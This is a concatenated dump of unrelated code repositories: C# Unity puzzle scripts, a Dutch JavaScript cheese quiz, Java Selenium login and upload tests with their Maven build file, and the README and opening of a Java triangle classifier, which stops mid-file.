PowerButton[] adj10 = new PowerButton[2]; PowerButton[] adj11 = new PowerButton[3]; PowerButton[] adj12 = new PowerButton[2]; PowerButton[] adj13 = new PowerButton[3]; PowerButton[] adj14 = new PowerButton[4]; PowerButton[] adj15 = new PowerButton[3]; PowerButton[] adj16 = new PowerButton[2]; PowerButton[] adj17 = new PowerButton[3]; PowerButton[] adj18 = new PowerButton[2]; adj10[0] = buttons[10]; adj10[1] = buttons[12]; adj11[0] = buttons[9]; adj11[1] = buttons[11]; adj11[2] = buttons[13]; adj12[0] = buttons[10]; adj12[1] = buttons[14]; adj13[0] = buttons[9]; adj13[1] = buttons[13]; adj13[2] = buttons[15]; adj14[0] = buttons[10]; adj14[1] = buttons[12]; adj14[2] = buttons[14]; adj14[3] = buttons[16]; adj15[0] = buttons[11]; adj15[1] = buttons[13]; adj15[2] = buttons[17]; adj16[0] = buttons[12]; adj16[1] = buttons[16]; adj17[0] = buttons[13]; adj17[1] = buttons[15]; adj17[2] = buttons[17]; adj18[0] = buttons[14]; adj18[1] = buttons[16]; buttons[9].setAdjacentButtons(adj10); buttons[10].setAdjacentButtons(adj11); buttons[11].setAdjacentButtons(adj12); buttons[12].setAdjacentButtons(adj13); buttons[13].setAdjacentButtons(adj14); buttons[14].setAdjacentButtons(adj15); buttons[15].setAdjacentButtons(adj16); buttons[16].setAdjacentButtons(adj17); buttons[17].setAdjacentButtons(adj18); for(int i = 0; i < 18; i++){ if(i < 9){ buttons[i].setCorrespondingButton(buttons[i+9]); } else { buttons[i].setCorrespondingButton(buttons[i-9]); } } } } void Update () { if(!completed){ bool flag = true; for(int i = 0; i < buttons.Length; i++){ if(!buttons[i].isOn()){ flag = false; } } completed = flag; } } public bool isCompleted(){ return completed; } } <file_sep>using System.Collections; using System.Collections.Generic; using UnityEngine; using UnityEngine.UI; public class SliderImageFill : MonoBehaviour { [SerializeField] private Slider slider; private Image image; private void Awake() { image = GetComponent<Image>(); slider.onValueChanged.AddListener(HandleSliderChanged); } // Use this for initialization private void Start () { HandleSliderChanged(slider.value); } private void HandleSliderChanged(float value){ image.fillAmount = value; } } <file_sep>using System.Collections; using System.Collections.Generic; using UnityEngine; public class ColourPuzzle : Puzzle { override protected int getData(PuzzleButton b){ return b.color; } } <file_sep>using System.Collections; using System.Collections.Generic; using UnityEngine; using UnityEngine.UI; using UnityEngine.SceneManagement; public class Level3AController : MonoBehaviour { public Image door; private static float doorFillDuration = 5.0f; private float timer = 0.0f; private bool fillingDoor = false; public LeftRightNavigation horz_navigation; public UpDownNavigation navigation; public RomanMathPuzzle romanMathPuzzle; public MathSolution puzzles; private bool puzzlesActivated = false; // Update is called once per frame void Update () { if(!puzzlesActivated){ if(romanMathPuzzle.isCompleted()){ puzzles.activate(); puzzlesActivated = true; } } else { if(Input.GetKeyDown(KeyCode.M)){ puzzles.manuallyComplete(); } if(puzzles.isCompleted()){ navigation.activate(); navigation.moveCameraUpandLock(); horz_navigation.deactivate(); if(!fillingDoor){ timer = Time.time; fillingDoor = true; } processCompletion(); } } } private void processCompletion(){ float elapsed = Time.time - timer; if(door.fillAmount < 1.0f){ door.fillAmount = elapsed / doorFillDuration; } if(door.fillAmount >= 1.0f){ SceneManager.LoadScene(9); } } } <file_sep>using System.Collections; using System.Collections.Generic; using UnityEngine; public class Level1BNavigationManager : MonoBehaviour { public UpDownNavigation vertNavigation; public LeftRightNavigation horzNavigation; public GameObject upIndicator, downIndicator, rightIndicator, leftIndicator; public AbstractRController controller; private int indicatorState = 0; // 0 - up/left/right, 1 - left/right, 2 - down private int previousState = 0; // Use this for initialization void Start () { horzNavigation.activate(); vertNavigation.deactivate(); upIndicator.SetActive(false); downIndicator.SetActive(false); leftIndicator.SetActive(true); rightIndicator.SetActive(true); } // Update is called once per frame void Update () { if(vertNavigation.isFacingUp()){ indicatorState = 2; } else { if(horzNavigation.facing == 2){ indicatorState = 0; } else { indicatorState = 1; } } if(previousState != indicatorState){ if(indicatorState == 0){ if(controller.isActivated()){ upIndicator.SetActive(true); vertNavigation.activate(); } else { upIndicator.SetActive(false); vertNavigation.deactivate(); } downIndicator.SetActive(false); leftIndicator.SetActive(true); rightIndicator.SetActive(true); horzNavigation.activate(); } else if(indicatorState == 1){ upIndicator.SetActive(false); downIndicator.SetActive(false); leftIndicator.SetActive(true); rightIndicator.SetActive(true); vertNavigation.deactivate(); } else if(indicatorState == 2){ upIndicator.SetActive(false); downIndicator.SetActive(true); leftIndicator.SetActive(false); rightIndicator.SetActive(false); horzNavigation.deactivate(); } } previousState = indicatorState; } } <file_sep>using System.Collections; using System.Collections.Generic; using UnityEngine; public class ImageTile : MonoBehaviour { private Renderer _renderer; private int colour; // 1 - green, 2 - blue, 3 - yellow, 4 - purple void Awake () { _renderer = GetComponent<Renderer>(); if(_renderer == null){ _renderer = GetComponentInChildren<Renderer>(); } } private void changeColour(){ switch(colour){ case 1: _renderer.material.color = Color.green; break; case 2: _renderer.material.color = Color.blue; break; case 3: _renderer.material.color = Color.yellow; break; case 4: _renderer.material.color = Color.magenta; break; } } public void toggleColour(){ if(colour == 4){ colour = 1; } else { colour++; } changeColour(); } public int getColour(){ return colour; } public void setColour(int n){ colour = n; changeColour(); } }
a12463a74c77712a4c8257b0a5ab631cfe3bc294
[ "C#" ]
55
C#
Sivarjuen/FYP-Leap-Motion
fdcce5fc2e3d034eed6eeb4968209baffd7d8eef
ac8b6ade0a4600c9ccdcecae6f0dcd15b2f7eb63
refs/heads/master
<file_sep># B1W5L1---Kaas Dit is een opdracht voor school <file_sep> alert("Aan wat voor soort kaas denk je?"); var KaasKleur = prompt("Is de kaas geel? Antwoord met ja of nee."); KaasKleur = KaasKleur.toLowerCase(); if (KaasKleur == "ja"){ var KaasGaten = prompt("Zitten er gaten in? Antwoord met ja of nee."); KaasGaten = KaasGaten.toLowerCase(); if (KaasGaten == "ja"){ var KaasPrijs = prompt("Is de kaas belachelijk duur? Antwoord met ja of nee."); KaasPrijs = KaasPrijs.toLowerCase(); if (KaasPrijs == "ja"){ alert("Emmenthaler"); } else if (KaasPrijs == "nee"){ alert("Leerdammer"); } else { alert("Antwoord met ja of nee."); } } else if (KaasGaten == "nee"){ var HardeKaas = prompt("Is de kaas hard als steen? Antwoord met ja of nee."); HardeKaas = HardeKaas.toLowerCase(); if (HardeKaas == "ja"){ alert("parmigiano reggiano"); } else if (HardeKaas == "nee"){ alert("Goudse kaas"); } else { alert("Antwoord met ja of nee."); } } else { alert("Antwoord met ja of nee."); } } else if (KaasKleur == "nee"){ var KaasSchimmel = prompt("Heeft de kaas blauwe schimmels? Antwoord met ja of nee."); KaasSchimmel = KaasSchimmel.toLowerCase(); if (KaasSchimmel == "ja") { var KaasKorst = prompt("Heeft de kaas een korst? Antwoord met ja of nee."); KaasKorst = KaasKorst.toLowerCase(); if (KaasKorst == "ja") { alert("B<NAME>"); } else if (KaasKorst == "nee"){ alert("Fourme d'Ambert"); } else { alert("Antwoord met ja of nee."); } } else if (KaasSchimmel == "nee"){ var KaasKorst = prompt("Heeft de kaas een korst? Antwoord met ja of nee."); KaasKorst = KaasKorst.toLowerCase(); if (KaasKorst == "ja") { alert("Camembert"); } else if (KaasKorst == "nee"){ alert("Mozzarella"); } else { alert("Antwoord met ja of nee.") } } else { alert("Antwoord met ja of nee."); } } else { alert("Antwoord met ja of nee."); }
6121983d2f11013625ae114e46d9c9fafe9e5e11
[ "Markdown", "JavaScript" ]
2
Markdown
PFvdB121/B1W5L1---Kaas
6b798631d8f852a1eb52ac5cdc9983e88da74e69
cec908572898fef32d1b9c95760e517aaf92d61f
refs/heads/main
<file_sep># fhs_index Understand why FHS VaR of index is much higher than that of the portfolio under stress. See the paper at https://papers.ssrn.com/sol3/papers.cfm?abstract_id=3776455 <file_sep>library(fGarch) library(MASS) options(warn=-1) # The total run time is about 20 min on a PC. calc.var <- function(price.df, garch.period, corr.period, var.period, var.rank, idx.cnt) { # price.df is a data frame with dates as row names. # Each column is a series of historical prices. # idx.cnt is the number of indices in the columns of price.df. # It is assumed the stock indices are in the first columns. symbols <- colnames(price.df) stocks <- symbols[(idx.cnt + 1):length(symbols)] # individual stock tickers. rtn.df <- price.df[-1, ] / price.df[-nrow(price.df), ] - 1 garch.cols <- c('omega', 'alpha', 'beta', 'sigma', 'residual', 'return') subcols <- c(garch.cols, 'var') sym.cols <- outer(symbols, subcols, FUN = 'paste', sep = '.') sym.cols <- t(sym.cols) dim(sym.cols) <- NULL # Flatten to a 1D vector. all.cols <- c('date', 'corr.th', 'corr.ex', 'port.var', sym.cols) garch.df <- data.frame(matrix(nrow = 0, ncol = length(all.cols))) colnames(garch.df) <- all.cols garch.days <- nrow(rtn.df) - garch.period + 1 for (j in 1:garch.days) { selected = rtn.df[j:(j+garch.period-1), ] curr.date <- rownames(rtn.df)[j+garch.period-1] garch.df[j, 'date'] <- curr.date for (s in symbols) { # skip outputs of garchFit(). capture.output( { gm <- garchFit(~garch(1,1), data = selected[, s], include.mean = FALSE) } ) # This is the forecast sigma using data up to prior period. sig <- gm@sigma.t[garch.period] # Residuals are not normalized. rtn <- gm@residuals[garch.period] garch.df[j, paste(s, garch.cols, sep = '.')] <- c(gm@fit$par, sig, rtn / sig, rtn) } if (j > var.period) { # Now compute average correlations. norm.rtn <- as.matrix(garch.df[(j-corr.period+1):j, paste(stocks, 'residual', sep = '.')], nrow = corr.period) corr.mat <- cor(norm.rtn) d <- nrow(corr.mat) garch.df[j, 'corr.ex'] <- (sum(corr.mat) - d) / d / (d-1) last.rtn <- matrix(norm.rtn[nrow(norm.rtn), ], nrow = 1) garch.df[j, 'corr.th'] <- (sum(t(last.rtn) %*% last.rtn) - sum(last.rtn^2))/d/(d-1) # Compute FHS VaR. residual <- garch.df[(j-var.period):(j-1), paste(symbols, 'residual', sep = '.')] sigma <- matrix(as.numeric(rep(garch.df[j, paste(symbols, 'sigma', sep = '.')], var.period)), nrow = var.period, byrow = TRUE) pl.df <- residual * sigma sorted.pls <- apply(pl.df, 2, 'sort', partial = var.rank) garch.df[j, paste(symbols, 'var', sep = '.')] <- -sorted.pls[var.rank, ] # Compute portfolio VaR. prices <- data.matrix(price.df[curr.date, stocks]) port.pl <- data.matrix(pl.df[, (idx.cnt+1):length(symbols)]) %*% t(prices) / sum(prices) port.pl <- sort(port.pl, partial = var.rank) garch.df[j, 'port.var'] <- -port.pl[var.rank] } } return(garch.df) } load.dji <- function() { # This file is obtained from DJI component at the end of 2020, # with DOW removed due to its short history. compo <- read.csv('input/components.csv', header = TRUE) start.date <- '2018-01-01' tickers <- compo[, 1] price.df <- NULL for (t in tickers) { prc.history <- read.csv(paste('input/', t, '.csv', sep=''), header = TRUE) if (is.null(price.df)) { price.df <- as.data.frame( prc.history[prc.history['Date'] >= start.date, 'Adj.Close'], row.names = prc.history[prc.history['Date'] >= start.date, 'Date']) } else { price.df <- cbind(price.df, prc.history[prc.history['Date'] >= start.date, 'Adj.Close']) } } colnames(price.df) <- tickers port.cor <- cor(price.df) d <- nrow(port.cor) avg.cor <- (sum(port.cor) - d) / d / (d-1) print(sprintf('%s Average return correlation in DJI is %f', Sys.time(), avg.cor)) price.df['index'] <- rowSums(price.df) prc.history <- read.csv('input/^DJI.csv', header = TRUE) price.df['DJI'] <- prc.history[prc.history['Date'] >= start.date, 'Adj.Close'] price.df <- price.df[c(d+2, d+1, 1:d)] return(price.df) } simu.port <- function() { nstock <- 30 regimes <- c( 800, 50, 50, 50, 50, 50, 50, 50, 100 ) sigmas <- c(0.01, 0.02, 0.02, 0.01, 0.01, 0.01, 0.02, 0.02, 0.02 ) correls <- c( 0.3, 0.3, 0.9, 0.9, 0.3, 0, 0, 0.9, 0.4 ) init.prc <- rep(100, nstock) price.df <- data.frame(matrix(init.prc, nrow = 1)) parm.df <- data.frame(matrix(ncol = 2, nrow = 0)) colnames(parm.df) <- c('sigma', 'correl') ones <- matrix(rep(1, nstock^2), nrow = nstock) mu <- rep(0, nstock) cnt <- 1 for (j in 1:length(regimes)) { corr.mat <- correls[j] * ones + (1 - correls[j]) * diag(nstock) rtns <- mvrnorm(regimes[j], mu, corr.mat) for (d in 1:regimes[j]) { parm.df[cnt, ] <- c(sigmas[j], correls[j]) cnt <- cnt + 1 price.df[cnt, ] <- price.df[cnt-1, ] * (1 + rtns[d, ] * sigmas[j]) } } price.df['index'] <- rowSums(price.df) price.df <- price.df[c(nstock+1, 1:nstock)] return(list(price.df, parm.df)) } print(paste(Sys.time(), 'Start')) # Construct price data frame for all symbols and the portfolio. garch.period <- 250 corr.period <- 10 set.seed(5) if (TRUE) { # Use historical DJI component prices. var.period <- 250 var.rank <- 2 price.df <- load.dji() fhs <- calc.var(price.df, garch.period, corr.period, var.period, var.rank, 2) outfile <- 'output/fhs_dji.csv' write.csv(fhs, file = outfile, quote = FALSE, sep = ',') print(paste(Sys.time(), 'Finished DJI. See', outfile)) } if (TRUE) { # Use simulated prices. var.period <- 500 var.rank <- 5 x <- simu.port() price.df <- x[[1]] parm.df <- x[[2]] fhs <- calc.var(price.df, garch.period, corr.period, var.period, var.rank, 1) fhs <- cbind(parm.df[garch.period:nrow(parm.df), ], fhs) fhs <- fhs[, c(3, 1, 2, 4:ncol(price.df))] outfile <- 'output/fhs_sim.csv' write.csv(fhs, file = outfile, quote = FALSE, row.names = FALSE, sep = ',') print(paste(Sys.time(), 'Finished simulation. See', outfile)) } <file_sep>library(fGarch) start.date <- '2009-01-01' prc.history <- read.csv('data/^DJI.csv', header = TRUE) prices <- prc.history[prc.history['Date'] >= start.date, 'Adj.Close'] prc.rtn <- log(prices[-1]) - log(prices[-length(prices)]) gm <- garchFit(~garch(1,1), data = prc.rtn, include.mean = FALSE) res <- residuals(gm, standardize = TRUE) res[130] * gm@sigma.t[130] # model residuals are not normalized. gm@residuals[130] prc.rtn[130] # Verify GARCH gm@fit$par[1] + gm@fit$par[2] * gm@residuals[129]^2 + gm@fit$par[3] * gm@sigma.t[129]^2 gm@sigma.t[130]^2
2e4174b0ac70ee8b0310fa5b03b9f7556e57c061
[ "Markdown", "R" ]
3
Markdown
mathtester/fhs_index
de282737ce1370c31b0dd7bcf37cb812076d6b12
5ef4b0ed185c5d70777fe5d4273d0aebf0488383
refs/heads/master
<file_sep>package com.vipwriters; import com.PageWriter.DetailedOrder; import com.PageWriter.MyOrders; import org.junit.Test; import java.awt.*; import java.awt.datatransfer.StringSelection; import java.util.concurrent.TimeUnit; public class MyOrdersUploadFile extends WebDriverSettings { public static void setClipboardData(String string) { StringSelection stringSelection = new StringSelection(string); Toolkit.getDefaultToolkit().getSystemClipboard().setContents(stringSelection, null); } String FileName1 = "//*[@id=\"root\"]/div/div/div[2]/div[2]/div[2]/div[2]/div/div[3]/div[1]/div[2]/p"; String FileName2 = "No files yet!"; @Test public void dropfiles1() throws Exception { int i; WritersLogin(); for (i = 1; i < 10; i++) { TimeUnit.SECONDS.sleep(4); driver.findElementByXPath("//*[@id=\"root\"]/div/div/div[2]/div[2]/div[2]/table/tbody/tr[" + i + "]/td[1]/a").click(); String NameFile = driver.findElementByXPath("//*[@id=\"root\"]/div/div/div[2]/div[2]/div[2]/div[2]/div/div[3]").getText(); if (FileName2 == NameFile) { DetailedOrder.uploadFile(driver).click(); DetailedOrder.fileRecipientClient(driver).click(); DetailedOrder.fileTypeAditiMater(driver).click(); DetailedOrder.drop(driver).click(); TestFileDrop(); DetailedOrder.confirm(driver).click(); } else { System.out.println("FileUpload"); } TimeUnit.SECONDS.sleep(4); driver.findElementByXPath("//*[@id=\"root\"]/div/div/div[1]/ul/li[1]/a").click(); // TimeUnit.SECONDS.sleep(10); // driver.findElementById("2261").click(); // driver.findElementByXPath("/html/body/div[2]/div/div[3]/button[1]").click(); // assertEquals("File successfully upload!", driver.findElement(By.xpath("//*[@id=\"swal2-title\"]")).getText()); } } }<file_sep>package com.vipwriters; import com.PageClient.Registered; import com.PageWriter.Lending; import io.qameta.allure.*; import io.qameta.allure.Description; import org.apache.commons.io.FileUtils; import org.junit.Assert; import org.junit.Test; import org.openqa.selenium.*; import org.openqa.selenium.remote.DesiredCapabilities; import org.openqa.selenium.remote.RemoteWebDriver; import java.io.File; import java.io.IOException; import java.net.MalformedURLException; import java.net.URL; import java.nio.file.Files; import java.nio.file.Paths; import java.util.concurrent.TimeUnit; import static junit.framework.TestCase.assertEquals; //@RunWith(SeleniumRunner.class) //@RunWith(MyRunner.class) //@Listeners(ListenerTest.class) public class LoginTest extends WebDriverSettings{ /*DesiredCapabilities capability = DesiredCapabilities.firefox(); WebDriver driver = new RemoteWebDriver(new URL("http://localhost:4444/wd/hub"), capability); public LoginTest() throws MalformedURLException { }*/ /* @Rule public TestWatcher screenshotOnFailure = new TestWatcher() { @Override protected void failed(Throwable e, Description description) { makeScreenshotOnFailure(); } @Attachment("Screenshot on failure") public byte[] makeScreenshotOnFailure() { return ((TakesScreenshot) driver).getScreenshotAs(OutputType.BYTES); } }; */ @Description("Test Login") @Test public void Loginuser() throws Exception { driver.get("https://writer.urgentpapers.org/"); TimeUnit.SECONDS.sleep(5); driver.findElementByXPath("//*[@id=\"sign-in-button\"]").click(); TimeUnit.SECONDS.sleep(5); Lending.userName(driver).click(); Lending.userName(driver).sendKeys(mail); Lending.password(driver).sendKeys(<PASSWORD>); Lending.loginButton(driver).click(); TimeUnit.SECONDS.sleep(7); // driver.findElementById("writers-available-orders-amount").click(); Assert.assertEquals("Available Orders", driver.findElement(By.cssSelector("#root > div > div > div.writers-content > div:nth-child(2) > h2")).getText()); } public void UnLoginNoValid() throws InterruptedException { driver.get("https://writer.urgentpapers.org/"); WebElement login = driver.findElement(By.xpath("/html/body/div[1]/div/div/div[1]/header/div/div[2]/nav/ul/li[11]/a")); WebElement username = driver.findElement(By.xpath("/html/body/div[1]/div/div/div[1]/div/div/form/div/div[2]/input")); WebElement password = driver.findElement(By.xpath("/html/body/div[1]/div/div/div[1]/div/div/form/div/div[3]/input")); WebElement loginButton = driver.findElement(By.xpath("/html/body/div[1]/div/div/div[1]/div/div/form/div/div[4]/input")); driver.manage().timeouts().implicitlyWait(9000, TimeUnit.SECONDS); TimeUnit.SECONDS.sleep(3); login.click(); TimeUnit.SECONDS.sleep(2); username.sendKeys("<EMAIL>"); password.sendKeys("<PASSWORD>"); loginButton.click(); TimeUnit.SECONDS.sleep(1); Assert.assertEquals("Please enter a correct username and password.", driver.findElement(By.cssSelector(".label")).getText()); } public void UnLoginEmptyFields() throws InterruptedException { driver.get("https://writer.urgentpapers.org/"); WebElement login = driver.findElement(By.xpath("/html/body/div[1]/div/div/div[1]/header/div/div[2]/nav/ul/li[11]/a")); WebElement username = driver.findElement(By.xpath("/html/body/div[1]/div/div/div[1]/div/div/form/div/div[2]/input")); WebElement password = driver.findElement(By.xpath("/html/body/div[1]/div/div/div[1]/div/div/form/div/div[3]/input")); WebElement loginButton = driver.findElement(By.xpath("/html/body/div[1]/div/div/div[1]/div/div/form/div/div[4]/input")); driver.manage().timeouts().implicitlyWait(9000, TimeUnit.SECONDS); TimeUnit.SECONDS.sleep(3); login.click(); TimeUnit.SECONDS.sleep(2); loginButton.click(); TimeUnit.SECONDS.sleep(1); Assert.assertEquals("Please enter a correct username and password.", driver.findElement(By.cssSelector(".label")).getText()); } @Test public void LoginPaptest1() throws Exception { driver.get("https://client.urgentpapers.org/"); driver.findElement(loginClient).click(); driver.findElement(loginClientUserName).sendKeys("<EMAIL>"); driver.findElement(loginClientPassword).sendKeys("<PASSWORD>"); driver.findElement(loginClientSubmit).click(); TimeUnit.SECONDS.sleep(20); } } <file_sep>package practic; public class LogicalOpTable { public static void main(String args[]) { int p; int q; System.out.println("P\tQ\tAND\tOR\tXOR\tNOT"); p = 1; q = 0; System.out.print(p + "\t" + q + "\t"); System.out.print((p & q) + "\t" + (p|q) + "\t"); System.out.println((p^q) + "\t" + (p)); p = 1; q = 0; System.out.print(p + "\t" + q + "\t"); System.out.print((p & q) + "\t" + (p|q) + "\t"); System.out.println((p^q) + "\t" + (p)); p = 1; q = 0; System.out.print(p + "\t" + q + "\t"); System.out.print((p & q) + "\t" + (p|q) + "\t"); System.out.println((p^q) + "\t" + (p)); p = 1; q = 0; System.out.print(p + "\t" + q + "\t"); System.out.print((p & q) + "\t" + (p|q) + "\t"); System.out.println((p^q) + "\t" + (p)); } }<file_sep>package com.PageClient; import org.openqa.selenium.By; import org.openqa.selenium.WebDriver; import org.openqa.selenium.WebElement; public class Registered { public static WebElement element = null; public static WebElement onStep2 (WebDriver driver){ element = driver.findElement(By.id("go_to_step2_button")); return element; } } <file_sep><?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>Vip_Writers</groupId> <artifactId>Vip_Writerss</artifactId> <version>2.21.0-SNAPSHOT</version> <packaging>jar</packaging> <parent> <groupId>io.qameta</groupId> <artifactId>opensource-parent</artifactId> <version>1.3</version> </parent> <properties> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding> <java.version>1.8</java.version> <maven.compiler.source>1.6</maven.compiler.source> <maven.compiler.target>1.6</maven.compiler.target> <aspectj.version>1.9.1</aspectj.version> <compiler.version>1.7</compiler.version> <name>allure.results.directory</name> <value>C:\Programms\GitHub\TestWriter\TestWriter\target\allure-results</value> </properties> <dependencies> <!-- https://mvnrepository.com/artifact/ru.yandex.qatools.allure/allure-report-builder --> <dependency> <groupId>ru.yandex.qatools.allure</groupId> <artifactId>allure-report-builder</artifactId> <version>2.3</version> </dependency> <!-- https://mvnrepository.com/artifact/net.sourceforge.jtds/jtds --> <dependency> <groupId>net.sourceforge.jtds</groupId> <artifactId>jtds</artifactId> <version>1.3.1</version> </dependency> <!-- https://mvnrepository.com/artifact/commons-io/commons-io --> <dependency> <groupId>commons-io</groupId> <artifactId>commons-io</artifactId> <version>2.5</version> </dependency> <!-- https://mvnrepository.com/artifact/org.seleniumhq.selenium/selenium-firefox-driver --> <dependency> <groupId>org.seleniumhq.selenium</groupId> <artifactId>selenium-firefox-driver</artifactId> <version>3.12.0</version> </dependency> <!-- https://mvnrepository.com/artifact/org.springframework/spring-context --> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-context</artifactId> <version>4.3.2.RELEASE</version> </dependency> <dependency> <groupId>org.aspectj</groupId> <artifactId>aspectjweaver</artifactId> <version>${aspectj.version}</version> </dependency> <!-- https://mvnrepository.com/artifact/org.springframework/spring-beans --> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-beans</artifactId> <version>4.3.2.RELEASE</version> </dependency> <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core --> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.6.2</version> </dependency> <dependency> <groupId>junit</groupId> <artifactId>junit</artifactId> <version>4.12</version> </dependency> <!-- https://mvnrepository.com/artifact/com.fasterxml.jackson.core/jackson-databind --> <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-databind</artifactId> <version>2.0.2</version> </dependency> <dependency> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-surefire-report-plugin</artifactId> <version>2.19.1</version> <type>maven-plugin</type> </dependency> <dependency> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-surefire-plugin</artifactId> <version>2.19.1</version> <type>maven-plugin</type> </dependency> <dependency> <groupId>org.seleniumhq.selenium</groupId> <artifactId>selenium-support</artifactId> <version>3.7.1</version> </dependency> <dependency> <groupId>org.seleniumhq.selenium</groupId> <artifactId>selenium-chrome-driver</artifactId> <version>3.7.1</version> </dependency> <dependency> <groupId>org.seleniumhq.selenium</groupId> <artifactId>selenium-ie-driver</artifactId> <version>3.7.1</version> </dependency> <dependency> <groupId>io.qameta.allure</groupId> <artifactId>allure-java-commons</artifactId> <version>2.8.1</version> <scope>test</scope> </dependency> <dependency> <groupId>io.qameta.allure</groupId> <artifactId>allure-junit4</artifactId> <version>2.8.1</version> <scope>test</scope> </dependency> <dependency> <groupId>org.slf4j</groupId> <artifactId>slf4j-simple</artifactId> <version>1.7.25</version> </dependency> <dependency> <groupId>com.tngtech.java</groupId> <artifactId>junit-dataprovider</artifactId> <version>1.12.0</version> <scope>test</scope> </dependency> <dependency> <groupId>io.qameta.allure</groupId> <artifactId>allure-attachments</artifactId> <version>2.8.1</version> </dependency> <dependency> <groupId>io.qameta.allure</groupId> <artifactId>allure-generator</artifactId> <version>2.8.1</version> </dependency> <dependency> <groupId>io.qameta.allure</groupId> <artifactId>allure-maven</artifactId> <version>2.9</version> </dependency> <dependency> <groupId>ru.yandex.qatools.ashot</groupId> <artifactId>ashot</artifactId> <version>1.5.4</version> </dependency> <dependency> <groupId>org.apache.maven.plugin-tools</groupId> <artifactId>maven-plugin-annotations</artifactId> <version>3.6.0</version> </dependency> <dependency> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-jxr-plugin</artifactId> <version>2.5</version> </dependency> <dependency> <groupId>ru.yandex.qatools.allure</groupId> <artifactId>allure-maven-plugin</artifactId> <version>2.6</version> </dependency> <dependency> <groupId>log4j</groupId> <artifactId>log4j</artifactId> <version>1.2.17</version> </dependency> <dependency> <groupId>org.slf4j</groupId> <artifactId>slf4j-nop</artifactId> <version>1.7.13</version> </dependency> <dependency> <groupId>com.codeborne</groupId> <artifactId>phantomjsdriver</artifactId> <version>1.4.0</version> <scope>test</scope> </dependency> <dependency> <groupId>org.seleniumhq.selenium</groupId> <artifactId>htmlunit-driver</artifactId> <version>2.26</version> <scope>test</scope> </dependency> <dependency> <groupId>io.github.bonigarcia</groupId> <artifactId>webdrivermanager</artifactId> <version>3.3.0</version> </dependency> </dependencies> <build> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-surefire-plugin</artifactId> <version>2.22.0</version> <configuration> <argLine> -javaagent:"${settings.localRepository}/org/aspectj/aspectjweaver/${aspectj.version}/aspectjweaver-${aspectj.version}.jar" </argLine> <properties> <property> <name>listener</name> <value>io.qameta.allure.junit4.AllureJunit4</value> </property> </properties> </configuration> <dependencies> <dependency> <groupId>org.aspectj</groupId> <artifactId>aspectjweaver</artifactId> <version>${aspectj.version}</version> </dependency> </dependencies> </plugin> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-compiler-plugin</artifactId> <configuration> <source>${compiler.version}</source> <target>${compiler.version}</target> </configuration> </plugin> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-source-plugin</artifactId> <version>3.0.1</version> <executions> <execution> <id>attach-sources</id> <goals> <goal>jar</goal> </goals> </execution> </executions> </plugin> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-javadoc-plugin</artifactId> <version>2.10.4</version> <executions> <execution> <id>attach-javadocs</id> <goals> <goal>jar</goal> </goals> <configuration> <additionalparam>-Xdoclint:none</additionalparam> </configuration> </execution> </executions> </plugin> </plugins> </build> <reporting> <excludeDefaults>true</excludeDefaults> <plugins> <plugin> <groupId>io.qameta.allure</groupId> <artifactId>allure-maven</artifactId> <version>2.9</version> <configuration> <reportDirectory>${project.basedir}/target/surefire-reports</reportDirectory> </configuration> </plugin> </plugins> </reporting> </project>
f240bd335729cf23cb17a09bd9c4ebe0bdedca6c
[ "Java", "Maven POM" ]
5
Java
Nicolayqa123/TestWriter
4513b8cb8a119310bb4376a2b1a744374ad53ba4
61f1ab3ff4265756fd588a936eebce7798260f1d
refs/heads/master
<file_sep># Triangle-Classifier This is a developer coding challenge for Flexion. ## Installation ### Downloading and Unzipping Download the project to your local computer into a new directory. For the sake of these instructions, the local path is assumed to be **C:\projects**. This will download a zip file named **Triangle-Classifier-master.zip**. Unzip the downloaded zip file to the same directory which creates a subdirectory named **Triangle-Classifier-master** containing an additional subdirectory named **Triangle-Classifier-master**. **NOTE: The project ia already built in Java version 1.8.0_77. If your locally installed version of Java is the same or higher, you may skip to the section titled Running Triangle Classifier.** ### Installing Maven Triangle Classifier is a Maven project containing Java code. Use Maven to install the program. Maven can be downloaded from https://maven.apache.org/download.cgi and instructions for installing Maven are at https://maven.apache.org/install.html. ### Installing Triangle Classifier At a command prompt navigate to the directory containing the **pom.xml** file, such as **C:\projects\Triangle-Classifier-master\Triangle-Classifier-master\triangle-classifier** depending upon your local path to the downloaded project. Then install Triangle Classifier with the following Maven command: **mvn clean install** This command will remove (clean) the prior build if it exists, then build the program and run the Junit tests. All dependency libraries are included in the executable jar file **triangle-classifier-0.0.1-SNAPSHOT-jar-with-dependencies.jar** which is the end result of the build. ## Running Triangle Classifier Navigate to the **C:\projects\Triangle-Classifier-master\Triangle-Classifier-master\triangle-classifier\target** directory at a command prompt. Then run Triangle Classifier with the following command which is followed by three arguement values representing the three triangle side lengths of the triangle to classify. For this example the side lengths are 1.5, 1.5 and 1.5: **java -jar triangle-classifier-0.0.1-SNAPSHOT-jar-with-dependencies.jar 1.5 1.5 1.5** The result for this example will be **equilateral**. The possible responses depending upon the successfully entered side length values are **equilateral**, **isosceles**, **scalene**, or **not a triangle**. The program will display error details along with usage instructions in the event that the arguement values have a problem that prevents proper classification. <file_sep>package us.flexion.challenge.coding.developer.triangle_classifier; import static org.junit.Assert.assertFalse; import static org.junit.Assert.assertTrue; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; import org.junit.Test; import us.flexion.challenge.coding.developer.triangle_classifier.exception.InvalidArguementsException; import us.flexion.challenge.coding.developer.triangle_classifier.shape.Triangle; import 